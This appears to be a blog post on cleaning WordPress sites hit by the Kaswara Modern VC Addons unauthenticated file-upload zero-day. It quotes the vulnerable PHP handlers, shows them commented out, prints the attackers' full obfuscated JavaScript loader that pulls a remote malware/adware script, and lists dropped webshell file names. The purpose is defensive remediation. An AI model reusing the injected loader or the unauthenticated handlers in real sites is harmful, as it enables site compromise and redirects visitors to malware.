| |

0-Day vulnerability in the plugin Kaswara Modern VC Addons plugin: What can I do?

May 4th update: Disabling the vulnerable function used to save custom Javascript.

On april 20th WPScan announced a vulnerability in the Kaswara Modern Visual Composer plugin, the very next day Wordfence also emitted an alert of the threat, recommending the plugin’s immediate deletion, without entering into much detail other than verifying the creation of the /wp-content/uploads/kaswara/icons/ and /wp-content/uploads/kaswara/fonts_icon/ folders; and it’s subsequent population with malicious files.

On april 22nd Life in Hex provided further details about the exploit, explaining that the kaswara\includes\handlers\ajax_handler.php archive is the vulnerability’s origin, specifically a function used to upload fonts since it doesn’t properly sanitize the uploaded files nor does it check if the request is made by an authenticated user, as we can verify on the following video by Keisuke Tachibana.

Verification of the vulnerability’s exploit mechanism. Keisuke Tachibana.

What steps can I take to fix the vulnerability?

Take control of the folder used by the vulnerability:

Once we have verified the existence of the plugin in our WordPress installation we’ll proceed to neutralize the use of the folder being used to upload malicious files, deleting all its content and changing the folder’s permissions to read-only (chmod 444).

$ chmod 444 public_html/wp-content/uploads/kaswara/
Changing permissions to read-only on the folder /public_html/wp-content/uploads/kaswara/
$ chmod 444 /public_html/wp-content/uploads/kaswara/

Eliminate the vulnerable code:

The next step is to locate the problematic file:

/public_html/wp-content/plugins/kaswara/includes/handlers/ajax_handler.php:

//Font Icon Manager
add_action('wp_ajax_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback' );
add_action('wp_ajax_nopriv_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback');
function kaswara_uploadfonticon_handler_callback(){		
	if(isset($_POST['action'],$_POST['fontsetname'],$_FILES["fonticonzipfile"]) && trim($_POST['fontsetname']) != "" && trim($_POST['action']) == 'uploadFontIcon'){ 	
		$fonticonzipfile = $_FILES["fonticonzipfile"]["tmp_name"];
		Kaswara_Icon_Manager::upload_font_icon($fonticonzipfile,$_POST['fontsetname']);			
		Kaswara_Icon_Manager::get_font_icons_printer(Kaswara_Icon_Manager::get_font_icons()) .''.Kaswara_Icon_Manager::get_font_icons_load_single_style($_POST['fontsetname']);	
	}
	die();
}

add_action('wp_ajax_deleteFontIcon', 'kaswara_deletefonticon_handler_callback' );
add_action('wp_ajax_nopriv_deleteFontIcon', 'kaswara_deletefonticon_handler_callback');
function kaswara_deletefonticon_handler_callback(){	
	if(isset($_POST['action'],$_POST['iconSetName']) && trim($_POST['iconSetName']) != "" && trim($_POST['action']) == 'deleteFontIcon'){ 	
		Kaswara_Icon_Manager::delete_font_set($_POST['iconSetName']);		
	}
	die();
}

The easiest way of proceeding is to comment out all the code we wish to disable, this way it will no longer execute when the attackers try to call the font uploading function:

//Font Icon Manager
add_action('wp_ajax_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback' );
add_action('wp_ajax_nopriv_uploadFontIcon', 'kaswara_uploadfonticon_handler_callback');
function kaswara_uploadfonticon_handler_callback(){		
/* 	
	Start patching the Kaswara faulty code
	if(isset($_POST['action'],$_POST['fontsetname'],$_FILES["fonticonzipfile"]) && trim($_POST['fontsetname']) != "" && trim($_POST['action']) == 'uploadFontIcon'){ 	
		$fonticonzipfile = $_FILES["fonticonzipfile"]["tmp_name"];
		Kaswara_Icon_Manager::upload_font_icon($fonticonzipfile,$_POST['fontsetname']);			
		Kaswara_Icon_Manager::get_font_icons_printer(Kaswara_Icon_Manager::get_font_icons()) .''.Kaswara_Icon_Manager::get_font_icons_load_single_style($_POST['fontsetname']);	
	}
	End patching the Kaswara faulty code
*/
	die();
}

add_action('wp_ajax_deleteFontIcon', 'kaswara_deletefonticon_handler_callback' );
add_action('wp_ajax_nopriv_deleteFontIcon', 'kaswara_deletefonticon_handler_callback');
function kaswara_deletefonticon_handler_callback(){	
/* 	
	Start patching the code for deletion, since we won't be able to upload anymore
	if(isset($_POST['action'],$_POST['iconSetName']) && trim($_POST['iconSetName']) != "" && trim($_POST['action']) == 'deleteFontIcon'){ 	
		Kaswara_Icon_Manager::delete_font_set($_POST['iconSetName']);		
	}
	End of font deletion code
*/
	die();
}

Delete the Javascript code that executes redirections when loading the website

We’ll delete the unwanted behaviour when loading the infected website, we need to go to Kaswara > Custom Settings > JS inside the Worpdress dashboard. There we can see a line of obfuscated Havascript code in charge of redirecting to adware and malware websites, we need to delete this code and save the changes.

var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmSpW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a))+parseInt(_0x137209(0x16f))+-parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161))+-parseInt(_0x137209(0x16c))+parseInt(_0x137209(0x167))+parseInt(_0x137209(0x16e))+-parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x62,0x72,0x61,0x6e,0x64,0x2e,0x6a,0x73,0x26,0x76,0x3d,0x30,0x30,0x33,0x32,0x26,0x73,0x69,0x64,0x3d,0x32,0x33,0x36,0x26,0x70,0x69,0x64,0x3d,0x35,0x34,0x35,0x37,0x34,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);
Javascript code in charge of showing adware and malware when loading an affected website.
Javascript code in charge of showing adware and malware when loading an affected website.

After deleting the Javascript code we need to block the possibility for it to be injected against our will, for this we need to locate the function used to populate the custom JS and CSS, always located inside the file named ajax_handler.php.

//Function TO Save the Custom Advanced JS / CSS / 
add_action('wp_ajax_kaswaraCustomCode', 'kaswara_custom_code_handler_callback' );
add_action('wp_ajax_nopriv_kaswaraCustomCode', 'kaswara_custom_code_handler_callback');
function kaswara_custom_code_handler_callback(){
	if(isset($_POST['action'], $_POST['customCSS'], $_POST['customJS'], $_POST['googleMapApi']) && trim($_POST['action']) == 'kaswaraCustomCode'){ 				 
		$kswrlug =kaswara_get_options_slug_plugin();
	 	kaswara_save_option($kswrlug.'-customCSS',base64_encode($_POST['customCSS']));
	 	kaswara_save_option($kswrlug.'-customJS',base64_encode( $_POST['customJS'] ));	 
	 	kaswara_save_option($kswrlug.'-googlemapsapi',$_POST['googleMapApi']);	 
	 	//kaswara_save_option($kswrlug.'-gMapsKey', $_POST['gMapsKey']);	 
	}
	wp_die();
}

As with the previous handler used to upload files, we proceed to disable the code used to update teh “customJS” and “customCSS” fields in our WordPress options table within our database.

//Function TO Save the Custom Advanced JS / CSS / 
add_action('wp_ajax_kaswaraCustomCode', 'kaswara_custom_code_handler_callback' );
add_action('wp_ajax_nopriv_kaswaraCustomCode', 'kaswara_custom_code_handler_callback');
function kaswara_custom_code_handler_callback(){
    /* 
	Start blocking the code that saves the custom JS and CSS
	if(isset($_POST['action'], $_POST['customCSS'], $_POST['customJS'], $_POST['googleMapApi']) && trim($_POST['action']) == 'kaswaraCustomCode'){ 				 
		$kswrlug =kaswara_get_options_slug_plugin();
	 	kaswara_save_option($kswrlug.'-customCSS',base64_encode($_POST['customCSS']));
	 	kaswara_save_option($kswrlug.'-customJS',base64_encode( $_POST['customJS'] ));	 
	 	kaswara_save_option($kswrlug.'-googlemapsapi',$_POST['googleMapApi']);	 
	 	//kaswara_save_option($kswrlug.'-gMapsKey', $_POST['gMapsKey']);	 
	}
	End blocking the code that saves the custom JS and CSS
	*/
	wp_die();
}

Verifying posterior infections in the vulnberable website:

Finally, depending on the amoung of time since a website was first attacked thera can be more infected files containing code that was inserted by the attackers, the best we can do for this is to install a tool such as Wordfence to detect newly created or modified files that had been injected with malicious code, deleting the problematic code from WordPress core files or deleting the files created during the infection.

Example of an infected WordPress core file detected by Wordfence.
Example of an infected WordPress core file detected by Wordfence.
Example of a new file containing malicious code, detected by Wordfence.
Example of a new file containing malicious code, detected by Wordfence.

Here is a list of some of the malicious files detected on april 15th by Wordfence in one of the websites affected by the Kaswara plugin’s exploit:

  • /public_html/email_test.php
  • /public_html/gogo.php
  • /public_html/opa.php
  • /public_html/raiz.php
  • /public_html/up.php
  • /public_html/wp-contact.php
  • /public_html/xxtest.php
  • /public_html/wp-content/Office365/office/block_detectors.php
  • /public_html/wp-content/Office365/office/index.php
  • /public_html/wp-content/Office365/office/voicemail/block_detectors.php
  • /public_html/wp-content/Office365/office/voicemail/error.php
  • /public_html/wp-content/Office365/office/voicemail/index.htm
  • /public_html/wp-content/Office365/office/voicemail/index.php
  • /public_html/wp-content/Office365/office/voicemail/index2.php
  • /public_html/wp-content/Office365/office/voicemail/info.php
  • /public_html/wp-content/Office365/office/voicemail/info2.php
  • /public_html/wp-content/Office365/office/voicemail/office.php
  • /public_html/wp-content/share/ofde.html
  • /public_html/wp-content/share/settings.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/ali/see.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/up/up.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/xl/xleet.php
  • /public_html/wp-content/uploads/kaswara/fonts_icon/xll/xleet.php
  • /public_html/wp-content/wp-contact.php

Up until now these are the measures I have implemented to nullify the infection of 3 affected websites, I hope these are enough to be able to clean the tracks of the attacks.

Sources:

  1. Kaswara exploit or how much Wordfence cares about user security.
  2. Kaswara Modern VC Addons (0-day) – Unauthenticated Arbitrary File Upload.
  3. PSA: Remove Kaswara Modern WPBakery Page Builder Addons Plugin Immediately.
  4. WordPress Plugin Kaswara Modern VC Addons 0-day Unauthenticated Arbitrary File Upload CVE-2021-24284

Similar Posts

2 Comments

  1. Thanks! It worked like a charm.
    Now I can recover this site and migrate it to a different and more updated builder.

Leave a Reply

Your email address will not be published.